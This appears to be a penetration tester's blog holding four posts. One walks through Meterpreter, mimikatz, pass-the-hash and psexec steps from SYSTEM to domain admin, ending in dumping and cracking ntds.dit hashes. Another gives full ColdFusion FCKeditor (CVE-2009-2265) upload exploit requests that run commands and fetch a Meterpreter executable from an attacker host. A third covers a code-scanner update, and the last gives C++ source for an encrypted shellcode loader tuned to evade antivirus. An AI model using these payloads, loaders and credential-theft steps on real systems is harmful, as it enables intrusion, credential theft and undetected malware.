• SYSTEM to Domain Admin – Technique One

    Today I am going to give a quick overview of one of my favorite ways to escalate from SYSTEM level privileges on a single host, to domain admin level and more on a Windows network. There are many ways and techniques to accomplish jumping from SYSTEM to domain admin, this just happens to be one that I use frequently (with success). Normally, exploiting a service, app, or whatever else on a host results in SYSTEM privileges. This gives us full privileges on the host itself but nothing in the way of privileges on the domain to which it is joined. The goal that many customers set is to obtain domain admin credentials or to use a privileged account to access sensitive resources. Either way, as we will see later, getting to domain admin can usually accomplish either goal. In addition, I have created a few simple tools to make this effort more efficient.

    For the purposes of this discussion, I am going to assume that a host was exploited and we are able to obtain SYSTEM privileges. I am also going to assume that this host does not have any cached credentials or other information that would otherwise enable us to immediately jump from SYSTEM to domain admin. So the first step is to make sure we get SYSTEM on this box. We want SYSTEM level privileges to dump or otherwise obtain local admin passwords or hashes. These will be used to pivot onto other systems to eventually escalate access.

    The easiest way to attempt obtaining system access is to run this in the Meterpreter session:

      getsystem
    

     
    The next easiest way is to load the mimikatz module and either get passwords in the clear or password hashes:

      load mimikatz
      kerberos
      livessp
      msv
      ssp
      tspkg
      wdigest
    

     
    The first step above loads the module. The other commands are various utilities to dump and steal clear text or hashes of passwords.

    You might be able to steal a token for the local admin account as well. This will require an additional module named incognito:

      load incognito
      list_tokens -u
      impersonate_token <Token Domain\\Token User>
    

     
    The `list_tokens -u` command will list all available user tokens to steal. Then it is just a matter of impersonating them. Note that you need to use double slashes between the DOMAIN/WORKGROUP just as shown above.

    You can also attempt to migrate to a process running as SYSTEM or local admin:

      ps
      migrate <process ID>
    

     
    The `ps` command will list running processes. Then `migrate` to a process ID that is running as SYSTEM/local admin.

    If we haven’t already obtained the local admin password or hash yet, then we need to dump the hash and crack it. So we run:

      run post/windows/gather/smart_hashdump
    

     
    Take the local administrator hash and load it into Ophcrack, Hashcat, John-the-Ripper, or your alternative password cracking tool of choice. Let the tool do its magic and you should now have the password.

    Note, that to escalate access the cracked version of the password is not necessary. If we don’t have the cracked version, we can just use the hash in a pass-the-hash technique. However, the cracked password IS required to use the simple tools I created to make this process a little more efficient.

    The next step in this endeavor is to identify hosts on the local network using the same local admin username and password. You can get the local network IP and subnet information by issuing this command in the Meterpreter session:

      get_local_subnets
    

     
    Write this information down because we are now going to jump out of the Meterpreter session (but leave it open). This is done by running:

      background
    

     
    The local subnet information is then added as a route within Metasploit so that we can direct exploits, auxiliary modules, and other features of Metasploit through this Meterpreter session. To get the Meterpreter session ID, for use in setting up the routes, we run:

      sessions -l
    

     
    Assuming a session ID of 23 and network information of 192.168.1.0/255.255.255.0, we run this within Metasploit:

      route add 192.168.1.0 255.255.255.0 23
    

     
    Now, I like to run the smb_login module in Metasploit to identify hosts on which I can use the stolen local admin username and password:

      use auxiliary/scanner/smb/smb_login
      set RHOSTS 192.168.1.0/24
      set SMBUser <Local Admin User>
      set SMBPass <Local Admin Password OR Hash>
      set BLANK_PASSWORDS false
      set USER_AS_PASS false
      run
    

     
    Note that I set the last two options to false just to save time. Yes, I know it is possible that the local admin account password is blank or the same as the username, but it is rare and wastes time on two additional login attempts PER host.

    I know that some other penetration testers like to just attempt to run psexec to obtain Meterpreter access to these hosts using the stolen credentials, but this a) can slow down your exploitation host and b) is pretty noisy (at least I think it is more noisy than what I like to do). More on this later, as we will use this module shortly.

    What I like to do is just issue psexec against one of the hosts identified as having successfully logged in using the stolen credentials above. Normally, I would do this until I found a host with a logged in domain administrator, process running as domain administrator, or cached credentials of a domain administrator, and then steal those credentials. This can be a tedious process, sometimes resulting in using psexec to access 10+ hosts with little success. However, I have made this process slightly more efficient with a few tools:

    • p2e.py – Python module for enumerating unique accounts running processes on a list of hosts
    • p2e.exe – The above module compiled into an exe using py2exe
    • p2e2exe.py – Python script to create an executable out of my script in case you want to do it yourself
    • winrm_proc_uniq_ids.rb – Metasploit Ruby module that does the same thing as the Python script, only within Metasploit

     
    Example usage for the p2e.py and p2e.exe utilities:

      usage: p2e.py [-h] --iplist IPLIST --user USER --pass PASS
    
      Find running process that can be used to escalate access.
    
      optional arguments:
        -h, --help       show this help message and exit
        --iplist IPLIST  file list of IPs that we can login with using provided
                       username and password (default: None)
        --user USER      the username to use for the WMI login (default: None)
        --pass PASS      the password to use for the WMI login (default: None)
    
      Example: p2e.py --iplist iplist.txt --user test --pass testpass
    

     
    I use this tool by first gathering a list of hosts I can login to with the stolen local admin credentials by using the Metasploit smb_login module. I then add this list of IP’s to a text file and pass the text file along with the credentials to the script. The executable works in the exact same way only it can be dropped onto a Windows host without requiring a Python interpreter; it is completely self contained.

    The Python script and executable is nice and all, but I only wrote that because I love Python. I am fairly new to the language and so to further my knowledge have been writing all new script ideas in Python first. This tool works fine but maximum efficiency is acheived by not having to leave Metasploit. For that reason, I wrote the Metasploit module.

    To use this module on Windows, create a folder named codewatch at the following location (default, this might vary if you didn’t use the default installation path(s)), and save the file to this folder:

      C:\Metasploit\apps\pro\msf3\modules\auxiliary\scanner\codewatch\
    

     
    To use this module on Linux, create a folder named codewatch at the following location (default, this might vary if you didn’t use the default installation path(s)), and save the file to this folder:

      /opt/metasploit/apps/pro/msf3/modules/auxiliary/scanner/codewatch/
    

     
    Using it is as simple as:

      use auxiliary/scanner/codewatch/winrm_proc_uniq_ids
      set USERNAME <Local Admin User>
      set PASSWORD <Local Admin Password>
      set SAVE_OUTPUT true
      set RHOSTS <List of hosts identified with smb_login>
      run
    

     
    There is also an option to pass the DOMAIN, but this is not usually necessary for a local account. Setting SAVE_OUTPUT to true is not necessary either if you don’t want to save your loot. Note that the password is required (not the hash). I don’t believe WMI is vulnerable to passing the hash, but I would love for someone to prove me wrong so that I can add that capability to the script. When run, the output should look something like this (on a successful scan of a host):

      [*] Attempting to connect to WMI on 192.168.X.X
      [+] Unique accounts for 192.168.X.X:
      [+]     User: NT AUTHORITY\SYSTEM
      [+]     User: NT AUTHORITY\NETWORK SERVICE
      [+]     User: NT AUTHORITY\LOCAL SERVICE
      [+]     User: TESTDOMAIN\Admin
      [*] Scanned 1 of 1 hosts (100% complete)
      [*] Auxiliary module execution completed
    

     
    I would run this script against my target list identified with the smb_login module and then review the results. I would be searching for any DOMAIN name that stands out as possibly being the primary domain for the network. I would especially be on the lookout for anything with “Admin” in the username. This really narrows down the list of systems I access in an attempt to compromise a domain admin account. The next step is to obtain access to these hosts with psexec and attempt to compromise one of these domain admin accounts:

      use exploit/windows/smb/psexec
      set RHOST <Host w/ processes running as domain admin found with script above>
      set SMBUser <Local Admin User>
      set SMBPass <Local Admin Password OR Hash>
      run
    

     
    For every successful session established, I would attempt to migrate to the process running as domain admin, dump clear text passwords and hashes with mimikatz, steal tokens with incognito, and dump hashes with smart_dump as describe above in that exact order. At this point, I should have domain admin credentials, which I use to create my own account in the “Domain Admins” group by first dropping to the Windows command shell:

      shell
    

     
    Then creating an account and adding it to the domain admins group with:

      net user p3nt3st p3nt3st1ng /DOMAIN /ADD
      net group "Domain Admins" p3nt3st /ADD
    

     
    Then I like to figure out the IP/hostname of a domain controller from the command shell with:

      gpresult /R
    

     
    I look for the text “Group Policy was applied from:” in the output. I do this so that I can then RDP to the DC, open up “Active Directory Users and Computers,” and then take some screenshots showing my account as being a part of the “Domain Admins” group. There are Metasploit modules that will create accounts, add accounts to groups, and identify local domain controllers (incognito module add_user, incognito module add_group_user, and post/windows/gather/enum_domain respectively) from within Meterpreter. However, I sometimes find that capturing screenshots of the Windows commands more effective in presenting to the customer as it is slightly less mystical and more understood than Metasploit/Meterpreter input and output.

    The next step is to obtain as many credentials as I can to be used to access sensitive resources (assuming the customer doesn’t want us to stop at domain admin privileges). This also requires access to a DC (and thus the login to one above). Again, there are many techniques for this, but I’ve had the most success with the technique to be described on a Windows 2008+ domain controller.

    I use the ntdsutil to create a snapshot of the AD database, which I will later extract usernames and password hashes from that will be cracked. From a command prompt on the DC:

      ntdsutil
      create
    

     
    The `create` command will result in output that contains “…mounted as…” I open another command prompt on the DC, and then `cd` to the directory in the output provided, then within that directory `cd` to Windows\NTDS. I copy the ntds.dit file to my host (using the Terminal Services session). Then `cd ..\system32\config` and copy the “SYSTEM” and “SAM” file to my host as well. Another option is to copy these files to a “My Documents” folder on the DC, use psexec to get a Meterpreter shell on the DC, and then use the Meterpreter `download` command to download the files to your host.

    We will need the libesedb library to extract the data. This can be found here. Compile and install the library on a Linx host. Then download NTDSExtract to utilize this library to extract usernames and password hashes from the database. Unzip the NTDSExtract zip file and `cd` to ntds. I then like to create a project directory in this folder (mkdir customer123). Extract the information we need from the database:

      esedbexport –v –t ./customer123/ /path/to/previously/obtained/ntds.dit
    

     
    Next, use the NTDSExtract dsusers.py script to save the hashes to a “customer123_hashes” folder:

      python dsusers.py ./customer123/.export/datatable.3 \
        ./customer123/.export/link_table.5 ./customer123_hashes/ \
        --shshive /path/to/previously/obtained/SYSTEM --lmoutfile \
        ./customer123_hashes/lmextract \
        --ntoutfile ./customer123_hashes/nmextract \
        --pwdformat ophc --passwordhashes
    

     
    The above command uses the data extracted with esedbexport, along with the SYSTEM file that was obtained, to save the LM HASH and NT HASHES to a folder named “customer123_hashes” in Ophcrack format. The tool supports a few other formats if you so desire. This will take a long time to complete on a large network. Now you just load the “lmextract” and “nmextract” files in the “customer123_hashes” folder into Ophcrack and you are off to the races.

    You will almost certainly end up with a boat load of cracked passwords on a large network to use on various resources throughout the target network.

    Again, you can download my scripts from here, here, and here.

    Happy Hunting!

  • Manually Penetrating the FCKedit Vulnerability – CVE-2009-2265

    I am seeing more and more scenarios where for whatever reason, the Metasploit modules, and modules from commercial solutions I use, aren’t successful against a known vulnerable host. This is often due to DEP or antivirus protections that I discussed here and again here. There can also be other security mechanisms at play from time to time. In any case, I decided to blog about manual techniques for some of these as I come across them. Today, I am going to give a brief overview of exploiting the FCKeditor vulnerability referenced in CVE-2009-2265.

    This post is going to make a few assumptions:

    • The target is running a Windows operating system
    • The target is vulnerable due to unpatched ColdFusion software
    • The default ColdFusion FCKeditorpath is used
      (/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm)
    • The default file upload path is used (/userfiles/file/)

    There are several examples for exploiting this vulnerability in PHP based applications so I wanted to focus on something different. I did, however, use these examples as well as the Metasploit code for this vulnerability in helping me craft my payloads for the ColdFusion affected host.

    First things first, if you have run a vulnerability scan against a system and this vulnerability pops up against an Adobe ColdFusion host, you will need to manually validate. I like to first just validate that I can perform an unauthenticated text file upload. Note that in the following payloads I have used a random IP and in some cases may have slightly changed the content (file names and such) so that the ‘Content-Length’ portion of the payload is incorrect (I tried to fix this where I realized it). If testing out these payloads, run it through Burp Suite and the ‘Content-Length’ header will be automagically changed to the correct value.

    Upload a simple text file:

      POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
      upload.cfm?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0
      Host: 111.111.11.11
      Content-Length: 142
      Content-Type: multipart/form-data; boundary=o0oOo0o
      Connection: close
    
      --o0oOo0o
      Content-Disposition: form-data; name="NewFile"; filename="command.txt"
      Content-Type: text/html
    
      Command Test File
      --o0oOo0o--
    
    

     
    This will upload a file named ‘command.txt’ to the site at ‘/userfiles/file/command.txt.’ This would then be confirmed by accessing ‘http://111.111.11.11/userfiles/file/command.txt.&#8217;

    Ok, so if that works we now need to figure out whether we can actually execute an arbitrary command. This is where differences between exploiting PHP versions versus ColdFusion comes in to play. I did some Googling around and found that the <cfexecute> tag will do the trick. So we need to upload a file with an extension of ‘.cfm’ so that the server will execute it as ColdFusion code, and we need to use the <cfexecute> tag. Some documentation for this tag can be found on Adobe’s site here. Personally, I like to see what my privilege level is going to be when I compromise the host so I like to run the ‘whoami.exe’ command, which will provide the DOMAIN\Username.

    The tag should then look something like:

      <cfexecute name="whoami.exe" arguments="" timeout="30" variable="pwned"/>
    

     
    This tag says to execute the ‘whoami.exe’ program, passing no arguments, and ColdFusion will wait for up to 30 seconds for output from the program. We also need to capture the output and display this to the browser to confirm the ability to execute the program, which is where the ‘variable’ attribute above comes in.

    Googling around some more we want to disable debug and HTML output, found in this reference here:

      <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
    

     
    Finally, we want to capture and display the output, which is done with the <cfoutput> tag:

       <cfoutput>#pwned#</cfoutput>
    

     
    The <cfexecute> tag will store the output of the command we want to run in a variable named ‘pwned’ described in the ‘variable’ attribute of the tag. The <cfoutput> tag will then echo the contents of the ‘pwned’ variable to the browser.

    Putting this all together, the request payload will look like:

      POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
      upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/who.cfm%00 HTTP/1.0
      Host: 111.111.11.11
      Content-Length: 287
      Content-Type: multipart/form-data; boundary=o0oOo0o
      Connection: close
    
      --o0oOo0o
      Content-Disposition: form-data; name="NewFile"; filename="who.txt"
      Content-Type: text/plain
    
      <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
      <cfexecute name="whoami.exe" arguments="" timeout="30" variable="pwned"/>
      <cfoutput>#pwned#</cfoutput>
      --o0oOo0o--
    
    

     
    The %00 null byte at the end of the ‘CurrentFolder’ parameter causes the FCKeditor program to create the filename provided before it, in this case ‘who.cfm’ instead of the filename in the request of ‘who.txt.’ All other portions of the request were previously described. This would then be executed and the results output to the browser by accessing ‘http://111.111.11.11/userfiles/file/who.cfm.&#8217;

    In my experience, if the site is vulnerable then they are running an outdated version of Adobe ColdFusion on an older Windows operating system (usually Windows 2003 Server) that is not configured well. The result of this command is frequently ‘nt authority\system’, which is fantastic from an exploitation perspective as once I successfully exploit the vulnerability I will have privileged access.

    The next step I like to take is to validate what ports I can use to make OUTBOUND connections from the victim server to my penetration testing host. Using the ‘mstsc.exe’ command on Windows works well for this test. The request payload looks something like:

      POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
      upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/rdp.cfm%00 HTTP/1.0
      Host: 111.111.11.11
      Content-Length: 300
      Content-Type: multipart/form-data; boundary=o0oOo0o
      Connection: close
    
      --o0oOo0o
      Content-Disposition: form-data; name="NewFile"; filename="rdp.txt"
      Content-Type: text/plain
    
      <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
      <cfexecute name="mstsc.exe" arguments="/v:1.1.1.1:443" timeout="30" variable="pwned"/>
      <cfoutput>#pwned#</cfoutput>
      --o0oOo0o--
    
    

     
    This will create a file called ‘rdp.cfm’, located in the ‘/userfiles/files/’ directory on the server that when executed would attempt to use the ‘mstsc.exe’ Terminal Services client to connect back to the host at 1.1.1.1 over port 443 (using the ‘arguments’ attribute). I like to use 443 if possible because then I can build a Meterpreter executable that uses the windows/meterpreter/reverse_https payload to look like a standard HTTPS request over the standard HTTPS port. I then use tcpdump to monitor for port 443 traffic to 1.1.1.1, and if I see any traffic from the attacked network range then I know it can connect back over that port. If TCP port 443 doesn’t work for you, try some others such as FTP, SMTP, DNS, and HTTP (TCP/21, TCP/25, TCP/53, and TCP/80) as examples.

    There are a few ways now that we can compromise the host. We can continue to execute commands like this, adding our own account and what not (slow and lame), we can add an account using the above technique and then upload something like VNC to remote back to a VNC listener (slow and potentially limited), or we can upload our own Meterpreter executable and have full Metasploit capabilities (yes, please).

    I know that I wrote a few blog posts on creating your own executable capable of bypassing both AV and DEP, but this is a waste of time. I didn’t realize that Veil included the technique for bypassing DEP described here in its payloads. Veil is much easier to use than compiling your own executables, so while I appreciate what I learned in the creation of those posts, I will use Veil for the time being.

    We might be able to use ‘ftp.exe’ in one of the payloads above to download a Meterpreter executable, but this seems complicated so I researched how it could be done using ColdFusion. Fortunately, ColdFusion provides the <cfhttp> tag for just this purpose.

    Here’s an example payload:

      POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
      upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/cfdownload.cfm%00 
      HTTP/1.0
      Host: 111.111.11.11
      Content-Length: 278
      Content-Type: multipart/form-data; boundary=o0oOo0o
      Connection: close
    
      --o0oOo0o
      Content-Disposition: form-data; name="NewFile"; filename="cfdownload.txt"
      Content-Type: text/plain
    
      <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
      <cfhttp method="get" url="https://1.1.1.1/pwned.exe" path="c:\" file="pwned.exe" />
      --o0oOo0o--
    
    

     
    This will create a file called ‘cfdownload.cfm’ located in the ‘/userfiles/files/’ directory on the server that when executed will access the file hosted at ‘https://1.1.1.1/pwned.exe&#8217; and then save it to the ‘C:\’ drive on the victim server as ‘pwned.exe.’ There are many other options with the <cfhttp> tag but those were the only options that were needed. If the application isn’t running under a privileged account such as ‘NT AUTHORITY\SYSTEM’, then you will probably need to select a different location for the file. On Windows 2008 and 2012 boxes, a typical world-write location would be ‘C:\Users\Public\Documents.’ On Windows 2003 systems you might be able to use ‘C:\Documents and Settings\All Users\Documents.’

    Now that we have the executable uploaded, all that is left is to start a listener on our penetration testing host, and execute the file on the victim.

    On the penetration testing host within Metasploit we use:

      use multi/handler
      set PAYLOAD windows/meterpreter/reverse_https
      set LHOST=1.1.1.1
      set LPORT=443
      run
    

     
    Finally, we create a file on the host that when executed will call our uploaded Meterpreter executable. Here is an example request payload:

      POST /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/
      upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/exec.cfm%00 HTTP/1.0
      Host: 111.111.11.11
      Content-Length: 257
      Content-Type: multipart/form-data; boundary=o0oOo0o
      Connection: close
    
      --o0oOo0o
      Content-Disposition: form-data; name="NewFile"; filename="exec.txt"
      Content-Type: text/plain
    
      <cfsetting enablecfoutputonly="yes" showdebugoutput="no">
      <cfexecute name="C:\pwned.exe" arguments="" timeout="30" variable="pwned"/>
      --o0oOo0o--
    
    

     
    This will create a file called ‘exec.cfm’ located in the ‘/userfiles/files/’ directory on the server that when executed will run our uploaded Meterpreter executable. If everything was done correctly, then we now have a Meterpreter session with the host and can start runing hashdump, loading incognito and mimikatz, and doing other really fun stuff.

    Happy Hunting!

  • CodeWatch Update – 12/4/2013

    This weekend I made the first updates to CodeWatch since releasing it as a free service and am just now getting around to posting a notification. The updates included:

    • Minor bugfixes throughout the system.
    • Upgrades to the Brakeman scanner for Ruby on Rails vulnerability testing. We were using an outdated version but are now (at the time of this posting) using the latest and greatest .
    • I added a plugin that leverages Sigcheck to identify viruses in executable code uploaded to the application. More information can be found here.
    • I added a plugin that uses Retire.js to scan for known vulnerable JavaScript files included in submitted source.

    As a general note, I recommend using Retire.js and DependencyCheck (which was already integrated into CodeWatch prior to this weekend) on web application penetration tests that include source containing JavaScript files or Java jar files. These tools help provide some coverage for OWASP 2013 A9: Using Known Vulnerable Components.

    A link discussing Retire.js can be found here. To leverage it in a web application penetration test, you will need to:

    • Install Node.js from here.
    • Install the retire.js plugin with: `npm install -g retire`
    • Use a tool like httrack to download the JavaScript and other files from the site. Make sure the configuration settings for the httrack download includes +*.js in the “Scan Rules” tab.
    • Scan for known vulnerable JavaScript components:
      `retire –jspath /path/to/httrack/website/download/folder`

    To use DependencyCheck, use a similar process (minus Node.js) by including +*.jar files in the “Scan Rules” tab of httrack. Then run DependencyCheck against any downloaded jar files:

    `dependency-check.bat –a “AppName” –f HTML –s /path/to/directory/containing/the/jar`

    Another thing I like to do is use the Firefox Wappalyzer plugin to identify all the third party components used on a site. Then I load up Burp, spider the site, then right click on the top level site and select “Engagement tools->Search” in the “Targets->Site Map” tab. For each third party component identified by Wappalyzer, I search through the spidered results for version information and then attempt to correlate to any known vulnerabilities.

    Hopefully the updates and the information are useful to someone out there!

  • Follow Up on DEP and AV Bypass

    This is a continuation of research based on my adventures on a penetration testing engagement described here. There were a few key features that I really wanted to add to enhance my DEP/AV bypass tool:

    • Bypass a majority of AV systems
    • Remove the dependency on the msvcr100d.dll file
    • Combine the Metasploit payload in the shellcodeexec application

    The first thing I did was to combine shellcodeexec with the actual payload, which was really simple. First, after the variable with the randomly generated padding described in the first post, I added:

      char payload[]="payload output generated with msfpayload and msfencode";
    

     
    I then removed the following code:

      if (argc < 2) {
        printf("Run:\n\tshellcodeexec \n");
        exit(-1);
      }
    

     
    Then I modified this:

      sys_bineval(argv[1]);
    

     
    To this:

      sys_bineval(payload);
    

     
    The compiled code was only detected by ClamAV and Microsoft when submitted to VirusTotal. Next up was to remove the requirement for the msvcr100d.dll file to be required to be in the same directory as the exe. A quick search in Google found this: http://www.rhyous.com/2010/09/16/avoiding-the-msvcr100-dll-or-msvcr100d-dll/. Clearly, I am not a Visual Studio or C/C++ guy if I didn’t know this already. So the steps were:

    • Right click on Project and choose “Properties”.
    • Navigate to “Configuration Properties->C/C++->Code Generation”, and set “Runtime Library” to “Multi-threaded (/MT)”.
    • Configure this for the release exe and debug exe by clicking on the “Configuration” dropdown in the top left corner and selecting “Debug”, making the change, clicking apply, then selecting “Release”, making the change, and clicking apply.
    • Compile the code.

    I then submitted to VirusTotal, but for whatever reason this is picked up by additional AV scanners (6 of 47). This includes AntiVir, ClamAV, ESET-NOD32, Ikarus, Kaspersky, and Microsoft. I wasn’t really happy with this result so I started looking at alternatives for bypassing AV.

    I came across a few articles:

    I downloaded Hyperion from http://nullsecurity.net/tools/binary.html. I then tried compiling with VS C++ Express but had problems and didn’t have wine setup and working on my Linux boxes so I started browsing through the files and noticed CodeBlocks XML files in with the .cpp and .h files, which is an open source C++ IDE. I downloaded Code::Blocks from http://www.codeblocks.org, loaded the project, and built it using the mingw compiler.

    I then had to copy the folder “Fasm” and “FasmAES-1.0” to the directory in which the Hyperion.exe executable was created. I copied “Src\FasmContainer32” into this directory as well. The tool could then be run with:

      Hyperion.exe <infile.exe> <outfile.exe>
    

     
    Note that depending on the system, it takes a few seconds up to a few minutes to actually make the connection as opposed to a regular meterpreter exe which is almost instantaneous. This is because Hyperion creates an executable that includes the original executable as an encrypted payload. The encrypted payload key is bruteforced when the executable loads which can take a few seconds up to a few minutes.

    I then uploaded this executable and found that it was detected by 13 of 39 AV engines, but NOT by Microsoft or ClamAV. The downside is that many AV products have signatures to detect Hyperion. The upside is that I now had a few executables which could bypass most AV products between them.

    I still wasn’t quite satisfied with this solution and began looking at ways to obfuscate the Metasploit payload in my executable, as this is the easiest portion for AV to identify. My objective at this point was to find a library to use to encrypt the payload, store the encrypted version of the payload in the executable, and call a function to decrypt this payload just before calling `sys_bineval`.

    I came across a free C++ library called CryptoPP here: http://www.cryptopp.com, which seemed promising. The task now was to compile the library and include it in my custom shellcodeexec utility. Again, I am not a C/C++ guy, so this is really not in my area of expertise and I could not get this to compile correctly with the mingw g++ compiler or with VS 2010 (or 2012) C++ Express (loading the solution file would fail). I had a full copy of VS 2008 and decided to give that a go and the solution file loaded correctly and everything compiled fine.

    I needed to convert some things with shellcodeexec in order to get it to compile as C++ instead of straight C. I changed:

      #include <string.h>
    

     
    To:

      #include <string>
    

     
    I also had to change several variables from char to string. I changed:

      int sys_bineval(char *argv);
    

     
    To:

      int sys_bineval(std::string argv);
    

     
    And:

      char payload[]="payload output generated with msfpayload and msfencode";
    

     
    To:

      std::string payload ="payload output generated with msfpayload and msfencode";
    

     
    Then I changed:

      int sys_bineval(char *argv)
    

     
    To:

      int sys_bineval(std::string argv)
    

     
    And:

      int pID;
    

     
    To:

      DWORD pID;
    

     
    I had to change:

      len = (size_t)strlen(argv);
    

     
    To:

      len = (size_t)argv.length();
    

     
    And:

      strncpy(code, argv, len);
    

     
    To:

     strncpy(code, argv.c_str(), len);
    

     
    Those changes enabled me to compile shellcodeexec as C++ after changing the project settings by right clicking on the project, selecting “Properties”, and then setting Configuration Properties->C/C++->Compile As = Compile as C++ Code (/TP). Now I just needed to integrate CryptoPP.

    I copied all the header files from CryptoPP to the same directory as my shellcodeexec.c program. I also copied the cryptlib.lib file generated when I compiled the CryptoPP library. I decided to use something simple with an example, so I leveraged the instructions here for using 3DES: http://www.cryptopp.com/wiki/DefaultDecryptorWithMAC.

    I wrote a small application to encrypt the original payload. Example:

      #define _CRT_SECURE_NO_DEPRECATE
      #define CRYPTOPP_DEFAULT_NO_DLL
      #define CRYPTOPP_ENABLE_NAMESPACE_WEAK 1
    
      #include <sys/types.h>
      #include <stdio.h>
      #include <string>
      #include <stdlib.h>
      #include <time.h>
      #include <ctype.h>
      #include <iostream>
      #include "dll.h"
      #include "des.h"
      #include "default.h"
      #include <windows.h>
      #pragma comment (lib,"cryptlib")
      
      USING_NAMESPACE(CryptoPP)
      USING_NAMESPACE(std)
    
      string payload = "payload output generated with msfpayload and msfencode";
      string enckey = "randomly generated string as the key";
    
      int main(int argc, char *argv[])
      {
        string encrypted;
    
        StringSource ssencrypt(cleartext, true,
          new DefaultEncryptorWithMAC(
            (byte*)enckey.data(), enckey.size(),
              new HexEncoder(
                new StringSink(encrypted)
              )
          )
        );
    
        cout << encrypted << endl;
    
        exit(0);
      }
    

     
    I then used the output of the program as the new data assigned to the `payload` variable. I also renamed all references to `sys_bineval` to something of my own choosing and all references to `exec_payload` to something of my own choosing.

    I then decided to add more padding. Note that in my last post I discovered that VS has a limit of just of 16,000 characters for a variable. So I modified the avoid.sh script from https://github.com/nccgroup/metasploitavevasion, commenting out `rm build.c`. I wrote a perl script to take one hundred chunks of 16,000 characters from the padding in the build.c file and turn them into variables for my C++ program. The perl code:

      #!/usr/bin/perl
    
      use warnings;
      use strict;
    
      my $chunk = 16000;
      my $multiple = 100;
      my $i = 0;
    
      while(<>) {
        chomp($_);
    
        if ($i == 2) {
          for (my $j = 0; $j < $multiple; $j++) {
            print "unsigned char padding".$j."[]=\"".substr($_, $j*$multiple+1, $chunk)."\";\n";
          }
        }
        $i++;
      }
    

     
    The output of this was input into the shellcodeexec source code. I used the decryption function found in the 3DES example link above and assigned it to the variable passed to the shellcodeexec function and was good to go.

    I modified my project settings to include:

    • Configuration Properties->Linker->Input->Additional Dependencies = cryptlib.lib
    • Configuration Properties->C/C++->Code Generation->Runtime Library = Multi-threaded (/MT)
    • Configuration Properties->General->Character Set = Use Multi-Byte Character Set

    A sample stub of the modified shellcodeexec program (without modified names for `sys_bineval` and `exec_payload`):

      #define _CRT_SECURE_NO_DEPRECATE
      #define CRYPTOPP_DEFAULT_NO_DLL
      #define CRYPTOPP_ENABLE_NAMESPACE_WEAK 1
    
      #include <sys/types.h>
      #include <stdio.h>
      #include <string>
      #include <stdlib.h>
      #include <time.h>
      #include <ctype.h>
      #include <iostream>
      #include "dll.h"
      #include "des.h"
      #include "default.h"
      #include <windows.h>
      #pragma comment (lib,"cryptlib")
      
      USING_NAMESPACE(CryptoPP)
      USING_NAMESPACE(std)
      
      unsigned char padding0[]= "16,000 character chunk of padding";
      unsigned char padding2[]= "next 16,000 character chunk of padding";
      unsigned char padding3[]= "next 16,000 character chunk of padding";
      ... // padding4[] through padding96[] ommitted
      unsigned char padding97[]= "next 16,000 character chunk of padding";
      unsigned char padding98[]= "next 16,000 character chunk of padding";
      unsigned char padding99[]= "next 16,000 character chunk of padding";
      string payload = "CryptoPP encrypted version of payload";
      string enckey = "randomly generated string as the key";
    
      int sys_bineval(string argv);
    
      int main(int argc, char *argv[])
      {
        string decrypted;
    
        StringSource ssdecrypt(payload, true,
          new HexDecoder(
            new DefaultDecryptorWithMAC(
              (byte*)enckey.data(), enckey.size(),
                new StringSink(decrypted)
              )
            )
          );
    
        sys_bineval(decrypted);
    
        exit(0);
      }
    
      int sys_bineval(string argv)
      {
        size_t len;
        
        #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
          DWORD pID;
          char *code;
        #else
          int *addr;
          size_t page_size;
          pid_t pID;
        #endif
    
        len = (size_t)argv.length();
    
        #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
          // allocate a +rwx memory page
          code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
          // copy over the shellcode
          strncpy(code, argv.c_str(), len);
    
          // execute it by ASM code defined in exec_payload function
          WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
        #else
          pID = fork();
          if(pID0)
            waitpid(pID, 0, WNOHANG);
        #endif
    
          return 0;
      }
    
      #if defined(_WIN64)
        void __exec_payload(LPVOID);
    
        DWORD WINAPI exec_payload(LPVOID lpParameter)
        {
          __try
          {
            __exec_payload(lpParameter);
          }
            __except(EXCEPTION_EXECUTE_HANDLER)
            {
            }
    
          return 0;
        }
      #elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
        DWORD WINAPI exec_payload(LPVOID lpParameter)
        {
          __try
          {
            __asm
            {
              mov eax, [lpParameter]
              call eax
            }
          }
          __except(EXCEPTION_EXECUTE_HANDLER)
          {
          }
    
          return 0;
        }
      #endif
    

     

    I compiled the code and tested to verify that it worked correctly. I tested on a Win2k12 server to ensure the DEP bypass technique still works. I then submitted to VirusTotal and found that it is caught by 3 of 47 AV products (Microsoft, Kaspersky, and Ikarus). I’m not really sure what these AV products are flagging on, I believe they are sandboxing or performing heuristics on the program, but that is a pretty good result.

    Some people might take issue with or at least wonder why I submitted these samples to VirusTotal. In my thinking, these executables are just variants on shellcodeexec, which is already picked up by many AV products, so I am not really providing them with an advantage. I guess the one advantage is that maybe they can identify something in my semi-unique version that gets flagged in future iterations, but I can always change the algorithm and the key, which is the only major change I have really added to shellcodeexec.

    In the future, I would like to combine this with some of Veil’s techniques: https://github.com/veil-evasion/Veil. I didn’t use Veil in the first place because it is AV evasion only, as far as I can tell, and I needed reliable AV evasion AND the ability to bypass DEP. This should be doable by integrating the PyInjector tool functionality discussed here: https://www.trustedsec.com/august-2012/new-tool-pyinjector-released-python-shellcode-injection/ with the obfuscation techniques already present in Veil.

